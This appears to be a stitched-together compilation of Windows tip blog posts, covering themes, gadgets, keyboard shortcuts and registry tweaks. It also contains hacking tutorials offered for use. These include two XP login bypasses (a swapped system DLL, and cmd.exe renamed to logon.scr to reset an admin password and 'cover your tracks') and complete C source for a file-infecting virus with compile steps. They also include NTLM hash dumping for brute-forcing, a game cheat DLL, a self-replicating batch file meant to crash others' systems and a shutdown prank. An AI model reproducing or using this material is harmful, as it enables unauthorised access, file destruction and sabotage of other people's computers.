10 Cool Free Windows 7 Themes

Themes allow you to change the look and feel of your Windows 7 desktop. You can change your background to reflect your interests, alter the start bar to become your favorite logo, or even revel in the sheer energy of your favorite holiday. In Windows XP and Vista, it was difficult to change themes, but the developers at Microsoft made it easy to do in Windows 7. Here is a collection of 10 really cool themes to customise how your Windows computer looks.

1. Theme for Windows 7

A large orange crescent moon rests at the bottom of this cosmically themed wallpaper. This fractal image is decorated with orange, red, and green elements. The 'fuel gauges' are designed in the same style. The toolbar is a transparent black, allowing you to see the continuation of the image.


2. Windows 7 with Classic Theme

This theme is perfect for those who miss the deep blue screen of previous windows versions. The lower bar is gray, but it captures the essence of the old ways. The traditional start button is in the lower left hand corner, completing the image.

3. Heart Windows 7 Theme

Bright and fancy pastel colors accentuate this surreal picture of what could be a water droplet. You have eight wallpapers from which to choose, each one varying in color from a lighter ecru to a neon red. The calendar is orange and the lower taskbar is golden.

4. NASA Spacescapes

Take a romp through space with these 14 NASA Spacescapes. There are visions of the Cigar Galaxy and the Sombrero Galaxy. These images from the Hubble Space Telescope are soothing and awe inspiring.

5. Mac Theme

Make your PC look like a Mac with the Mac theme. This theme changes your buttons to appear more Mac-like as well as changing your wallpaper to show the giant X. The bottom taskbar has the happy Mac face, the upper left corner of the screen contains the trademark Apple.

6. War and Peace

There is a balance of war and peace in everything. This picture is a perfect representation of that. Red is on the left side, green is on the right. In the middle is the silhouette of a tree, the creatures of the land drawn to that mystical balance.

7. Colourfull

Colorful neon streaks brazenly sweep across your desktop in one wallpaper. The others are created from brightly colored stripes. Triangles, circles, and other designs make up the balance of these eight related wallpapers. Your start menu changes with each background chosen.

8. Woodstock Windows Theme

Remember Woodstock? This theme is designed to look like a poster removed directly from the walls of that famous concert. It is drawn in pastel colors with images of birds, stars, clouds, and the occasional leaf. The bottom start button has been changed to the image of the poster. The lower taskbar is a transparent medium grey.

9. Acrylic 7

This image is a striking landscape of a reflective pool. The purples, browns, and reds within this theme make the user dream of peace and serenity. The taskbar has been changed to be a darker blue, the start button changed to a personal design. This theme updates one of the designer's previous themes.

10. Starfighter

Too-bright grass on a distant planet conjures images of soaring through clouds in a spaceship. The skyscape is enticing, with a large sea-green planet gracing the horizon. Further back, there is an image of a beautiful moon. The bottom taskbar is transparent.

Every human delight can be reflected within a Windows 7 theme. Your wallpaper can be altered to show your love of Halo or Gears of War. Your desktop can be revamped to show your support for Manchester United or Arsenal. If nature scenes are your cup of tea, you can spotlight your fondness for lions, tigers, and bears. You can change your Windows 7 theme in an instant.

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Useful Windows 7 Sidebar Gadgets

Windows 7 , the  latest operating system by Microsoft, has been introduced with plenty of new features to take over its predecessors  Windows XP and Vista. Few previous features has been improvised to further strengthen Windows 7.
One such feature is Desktop Gadgets.  Gadgets are light-weight single-purpose applications that can sit on the user’s computer desktop to ensure higher usability. They are generally designed to do simple tasks, such as clocks, calendars, RSS notifiers or search tools and can be placed on the sidebar, on which they are automatically aligned.

Here is list of 6 most useful Windows 7 Sidebar Gadgets:
1. App Launcher:

You can add applications, folders or Local drives to the App Launcher by dragging and dropping or by using  settings.
Download App Launcher
2. Ultimate Search Explorer:

The Ultimate Explorer allows you to search different websites conveniently from your desktop in a single compact tool. You can search Amazon, Google, Digg, YouTube, Yahoo, Drugstore, The Pirate Bay, Wikipedia etc.
Download Ultimate Search Explorer
3. Media Player Gadget:

This ties into your Windows Media Player library and allows you to easily search it.  It also displays album artwork, track information and enables visualizations while playing a song.
Download Media Player Gadget
4. TweetZ:

TweetZ is specially designed for Twitter users, as it work s like twitter client. You can tweet and reply by accessing your twitter account using this gadget. It includes  URL shortener that automatically shorten long links.
DownloadTweetZ
5. FB Explorer:

If you are a Facebook addict then this is one is the best Gadget for your windows 7 desktop. With the help of FB Explorer you can check all the information about your Facebook account on your Windows 7 desktop.
Download FB Explorer
6. AdSensor:

This  gadget is for Adsense users.  AdSensor shows your current AdSense earnings on your desktop and saving time from checking every time on website.
Download AdSensor

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Useful keyboard shortcuts on any Windows system

Getting used to using your keyboard exclusively and leaving your mouse behind will make you much more efficient at performing any task on any Windows system. Here is the list of that keyboard shortcut to make you easy.

Windows key + R = Run menu

This is usually followed by:
cmd = Command Prompt
iexplore + "web address" = Internet Explorer
compmgmt.msc = Computer Management

dhcpmgmt.msc = DHCP Management
dnsmgmt.msc = DNS Management
services.msc = Services
eventvwr = Event Viewer
dsa.msc = Active Directory Users and Computers
dssite.msc = Active Directory Sites and Services
Windows key + E = Explorer

ALT + Tab = Switch between windows

ALT, Space, X = Maximize window

CTRL + Shift + Esc = Task Manager

Windows key + Break = System properties

Windows key + F = Search

Windows key + D = Hide/Display all windows

CTRL + C = copy

CTRL + X = cut

CTRL + V = paste

Also don't forget about the "Right-click" key next to the right Windows key on your keyboard. Using the arrows and that key can get just about anything done once you've opened up any program.


Keyboard Shortcuts

[Alt] and [Esc] Switch between running applications

[Alt] and letter Select menu item by underlined letter

[Ctrl] and [Esc] Open Program Menu

[Ctrl] and [F4] Close active document or group windows (does not work with some applications)

[Alt] and [F4] Quit active application or close current window

[Alt] and [-] Open Control menu for active document

Ctrl] Lft., Rt. arrow Move cursor forward or back one word

Ctrl] Up, Down arrow Move cursor forward or back one paragraph

[F1] Open Help for active application

Windows+M Minimize all open windows

Shift+Windows+M Undo minimize all open windows

Windows+F1 Open Windows Help

Windows+Tab Cycle through the Taskbar buttons

Windows+Break Open the System Properties dialog box



acessability shortcuts

Right SHIFT for eight seconds........ Switch FilterKeys on and off.

Left ALT +left SHIFT +PRINT SCREEN....... Switch High Contrast on and off.

Left ALT +left SHIFT +NUM LOCK....... Switch MouseKeys on and off.

SHIFT....... five times Switch StickyKeys on and off.

NUM LOCK...... for five seconds Switch ToggleKeys on and off.

explorer shortcuts

END....... Display the bottom of the active window.

HOME....... Display the top of the active window.

NUM LOCK+ASTERISK....... on numeric keypad (*) Display all subfolders under the selected folder.

NUM LOCK+PLUS SIGN....... on numeric keypad (+) Display the contents of the selected folder.

NUM LOCK+MINUS SIGN....... on numeric keypad (-) Collapse the selected folder.

LEFT ARROW...... Collapse current selection if it's expanded, or select parent folder.

RIGHT ARROW....... Display current selection if it's collapsed, or select first subfolder.




Type the following commands in your Run Box (Windows Key + R) or Start Run

devmgmt.msc = Device Manager
msinfo32 = System Information
cleanmgr = Disk Cleanup
ntbackup = Backup or Restore Wizard (Windows Backup Utility)
mmc = Microsoft Management Console
excel = Microsoft Excel (If Installed)
msaccess = Microsoft Access (If Installed)
powerpnt = Microsoft PowerPoint (If Installed)
winword = Microsoft Word (If Installed)
frontpg = Microsoft FrontPage (If Installed)
notepad = Notepad
wordpad = WordPad
calc = Calculator
msmsgs = Windows Messenger
mspaint = Microsoft Paint
wmplayer = Windows Media Player
rstrui = System Restore
netscp6 = Netscape 6.x
netscp = Netscape 7.x
netscape = Netscape 4.x
waol = America Online
control = Opens the Control Panel
control printers = Opens the Printers Dialog

Hope this will helps you.

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Hacking Into a Windows XP Without Changing Password

Here is a far better way to get into Windows XP. It is easy and it does not reset the password. Hack into a computer running Windows XP without changing the password and find out all and any passwords on the machine (including admin accounts). You do not need access to any accounts to do this. Of course, do not do this on anyone elses computer without proper authorisation.

Steps to Hack into a Windows XP Computer without changing password:

1. Get physical access to the machine. Remember that it must have a CD or DVD drive.



2. Download DreamPackPL HERE.

3. Unzip the downloaded dpl.zip and you’ll get dpl.ISO.

4. Use any burning program that can burn ISO images.

5. After you have the disk, boot from the CD or DVD drive. You will see Windows 2000 Setup and it will load some files.

6. Press “R” to install DreamPackPL.

7. Press “C” to install DreamPackPL by using the recovery console.

8. Select the Windows installation that is currently on the computer (Normally is “1″ if you only have one Windows installed)

9. Backup your original sfcfiles.dll by typing:
“ren C:\Windows\System32\sfcfiles.dll sfcfiles.lld” (without quotes)

10. Copy the hacked file from CD to system32 folder. Type:
“copy D:\i386\pinball.ex_ C:\Windows\System32\sfcfiles.dll” (without quotes and assuming your CD drive is D:)

11. Type “exit”, take out disk and reboot.

12. In the password field, type “dreamon” (without quotes) and DreamPack menu will appear.

13. Click the top graphic on the DreamPack menu and you will get a menu popup. 

 

14. Go to commands and enable the options and enable the god command.

15. Type “god” in the password field to get in Windows.

You can also go to Passwords and select “Logon with wrong password and hash”. This option allows you to login with ANY password.

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How to Disable Balloon Tips!

Did you ever have to turn your firewall off for some reason, or change your virus protection to something other than windows defender (or any other virus protection that Windows actually recognizes)? Then if on Vista, you must keep getting those annoying ass balloon tips in the bottom right hand corner of your screen. There's actually a way to turn that OFF, which is why I decided to make this quick guide to a very simple fix for it. I figured that this would help people who were as pissed off at it as I was.

Step 1.

Press the Windows key (the one that looks like it has a flag on it), and press the R key while holding it down.

Step 2.

Type regedit in run and click OK.

Step 3.

In the left click HKEY_CURRENT_USER, then Software, then Microsoft, then Windows, then CurrentVersion, then Explorer, then Advanced.

Step 4.

Now right click somewhere in the white space, click new, click DWORD (32-bit) Value three times, and give them the following names: FolderContentsInfoTip, StartButtonBalloonTip, and EnableBalloonTips. DO NOT just click new, click DWORD (32-bit) Value three times, and click off somewhere thinking that you can rename it later.

If you see this:

You fucked up. Delete those and name them one at a time as you create them!

Step 5.

Even though the Data value should be 0x00000000 (0) by default, do the following if your computer got raped by gophers and the values are something other than that.

Right click 'FolderContentsInfoTip' and click Modify; now enter the following and click OK:

Right click 'StartButtonBalloonTip' and click Modify; now enter the following and click OK:

Right click 'EnableBalloonTips' and click Modify; now enter the following and click OK:


So when done, you should see this:

Step 5.

That's it, just reset and enjoy your peace.

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Making your frist D3D hack

Hi guys, Today I am teach you how to make a D3D.You should have these following things to make D3D.

•  Microsoft Visual C++ 6
  
  
  
  
   
  
  


• DirectX 9.0 SDK Update - (Summer 2004)
  
  
  
  
  
  
  


• D3D Starter Kit 3B Download

 After you have download and installed C++ 6 and D3D SDK
you can now setup C++ to use the SDK lib files.

Ok so, open up C++ 6
To to tools>options>Directories
Then on the right select choose Show directories for Include files
Add the Microsoft Directx 9.0 SDK include folder
Then it should look like this:





After you have done that, on the left again choose
Show directories for Lib files and choose the
Microsoft Directx 9.0 SDK lib folder.
Now press ok!
Your done setting up C++ 6!

Now we must setup the starter kit so we can use it!
Extract the files in the Starter kit, and go into the D3D9 folder.
It should look like this:


Now go into the old_workspace folder, and copy the 2 files into the D3D9 folder.

After that, go in C++ 6 and click file>open workspace
and open TatniumD3D.dsw

Once you have done those you can make a hack! Yeay!
I will now show you how to draw a crosshair

Put this in globals: (right under "#define D3DHOOK_TEXTURES")
Code:

float ScreenCenterX = 0.0f;
float ScreenCenterY = 0.0f;
bool crosshair = false;
D3DCOLOR color = D3DCOLOR_XRGB( 200, 0, 0 ); // Add your own values if you want....  

Now press Ctrl + F and search for SetViewport
Under

HRESULT APIENTRY hkIDirect3DDevice9::SetViewport(CONST D3DVIEWPORT9 *pViewport)
{

Put:

ScreenCenterX = ( float )pViewport->Width / 2;
ScreenCenterY = ( float )pViewport->Height / 2;

So now it will look like this:

HRESULT APIENTRY hkIDirect3DDevice9::SetViewport(CONST D3DVIEWPORT9 *pViewport)
{
ScreenCenterX = ( float )pViewport->Width / 2;
ScreenCenterY = ( float )pViewport->Height / 2;
return m_pD3Ddev->SetViewport(pViewport);
}

Now Press Ctrl + F again and search for EndScene 

Put:

if(crosshair)
{
D3DRECT rec2 = {ScreenCenterX-20, ScreenCenterY, ScreenCenterX+ 20, ScreenCenterY+2};
D3DRECT rec3 = {ScreenCenterX, ScreenCenterY-20, ScreenCenterX+ 2,ScreenCenterY+20};
m_pD3Ddev->Clear(1, &rec2, D3DCLEAR_TARGET,color, 0, 0);
m_pD3Ddev->Clear(1, &rec3, D3DCLEAR_TARGET,color, 0, 0);
}

In EndScene

Now its time for hotkeys!
I'ma now show how to do menus cause their confusing :S

Now you can put hotkeys in either beginscene or endscene!
They both work :D

A hotkey will look like this:

if( GetAsyncKeyState(hotkeyhere) & 1 )
{
commandgosehere = !commandgosehere;
}

But it this case we want it like this:

if( GetAsyncKeyState( VK_Insert ) & 1 )
{
crosshair = !crosshair;
}

The hotkey will be insert!
Now build it then batch build it!

And then your done!
Take the dll you build and inject it to a D3D9 game! 

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How to Create a Computer Virus?

This program is an example of how to create a virus in c.This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file.Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.Here’s the source code of the virus program.
 

#include
#include
#include
#include
#include
#include
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(”*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(”Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(”DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(”TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

COMPILING METHOD:

BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile
2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)
3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)
4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)
5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect
BORLAND C++ 5.5 (32-BIT) :

1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect
HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4.All the infected files will be ready to reinfect
That’s it

WARNING: FOR EDUCATIONAL PURPOSES ONLY and DON'T USE THIS METHOD ON YOUR PC.

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How To Decrypt The Password Of The RAR File

Almost everyone met with password protected winrar file.For example, you have downloaded movies or something else from torrent or rapidshare, and when you try to open the downloaded file appears “Enter password for the encrypted file”… Damn… What now…You can decrypt the password of the .rar file with RAR Password Cracker. I´ve tested and have broken password with 3 charachters for 60 seconds.

How to use RAR Password Cracker?

You can use a dictionary attack and a brute force attack.I prefer brute force. Brute force actually means to start with a letter a and encrypting it. Then see if the encrypted strings match. If not then b, c, … until we’ve gotten . Then the encrypted strings will match and we’ll know that is the right password. Brute force attack is the slowest method of cracking, but there is no risk that you’ll not find the password. The thing about brute force is that the time of cracking rises rapidly depending on how long the password is, how many characters are being used in it and so forth.
To crack winrar password follow steps below.

1. Launch RAR Password Cracker (download link is in last)
2.Load Rar file , which you want to decrypt and add to project.

3.Choose method

4.Add charset and set password length.

5.Save project and click Finish

6. Decrypted password is “iva”

Download RAR Password Cracker:
Website: http://www.rarpasswordcracker.com/
Download page: http://www.rarpasswordcracker.com/rpc412_setup.exe
File size: 205 Kb
License: Freeware

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How to Hack a Window XP Admins Password

This is a cool little computer trick for Microsoft Windows trick and i am share it with you fine and ethical individuals =). Log in and go to your DOS command prompt and enter these commands exactly:

cd\
cd\windows\system32
mkdir temphack
copy logon.scr temphack\logon.scr
copy cmd.exe temphack\cmd.exe
del logon.scr
rename cmd.exe logon.scr
exit

 
So what you just told windows to backup is the command program and the screen saver file. Then you edited the settings so when windows loads the screen saver, you will get an unprotected dos prompt without logging in. When this appears enter this command that’s in parenthesis (net user password). So if the admin user name is Doug and you want the password 1234 then you would enter “net user Doug 1234″ and now you’ve changed the admin password to 1234. Log in, do what you want to do, copy the contents of temphack back into system32 to cover your tracks.

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How To Hack Windows Password

There are many ways to break windows passwords, I will show you how do do it with Cain & Abel v2.0. It is powerful hacking tool which can break of various kind of passwords using Dictionary, Brute-Force, Cryptanalysis attacks … This tutorial tells you how to break administrator password and gain access to admin account with Brute-Force attack.
Just follow steps below.
1) Download Cain & Abel v2.0 from this link and install it.
2)Start Cain
3)Click on Cracker tab , on the left choose LM & NTLM Hashes and click on + sign icon on toolbar then Dump NT Hashes from Local machine.

4)Next

5)After this will appear windows accounts , right click on account you want to break password and choose type of attack , in this example I chose brute force attack. Brute force actually means to start with a letter a and encrypting it. Then see if the encrypted strings match. If not then b, c, … until we’ve gotten to admin. Then the encrypted strings will match and we’ll know that is the right password. Brute force attack is the slowest method of cracking, but there is no risk that you’ll not find the password. The thing about brute force is that the time of cracking rises rapidly depending on how long the password is, how many characters are being used in it and so forth.

 

 

 

I hope this tutorial has helped, if something isn´t clear , don’t be afraid to ask questions to me!
If you want to learn hacking, But Don’t Know Where to Start? Check this out “Learn How To Hack With The Hacker’s Underground Handbook”

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Window Xp Hack Trick

Window Xp Hack Trick

1. If you want to increase the speed of your start menu than do the following thing: Go to start menu - run - and type regedit - registry editor will get displayed than - click on HKEY_CURRENT_USER - a large list will get displayed - go to control panel - again a large list will get displayed - click on desktop only once - other side of it will display u large number of list - than try to search file name MenuShowDelay - click on it -value data will be 400 make it 0 -close all the programmes and restart your comp.



2. If u want to create duplicate virus than do the following thing:
Go to desktop - right click anywhere - go to new - shortcut -u will get a small box - there type in the following thing where they tell you to specify location just write the following thing -shutdown -s -t 200 -c "this is a virus" - click next - it will make your computer shut down after every 3.20 minutes you can increase it by replacing 200 and write it in seconds - And if you want to disable this virus than do the following thing :
Go to run - and type -
Shutdown.exe
-a this will make your computer normal

3. If you want to crash down the system of your friends or your enemy than do the following thing:
WARNING once saved dont open!!
type the following in notepad and save...
the main code is:
start virus.bat
virus.bat
save it as (any name u want).bat

4. You want to create an invisible folder than do the following:
Invisible folder...
right click on background - new folder - rename it to (hold alt 0160) - done
name is invisible but not folder, so to make the folder invisible right click and click properties -click on customize - click on change icon - u will get an invisible icon - click and done dnt try to loose it...

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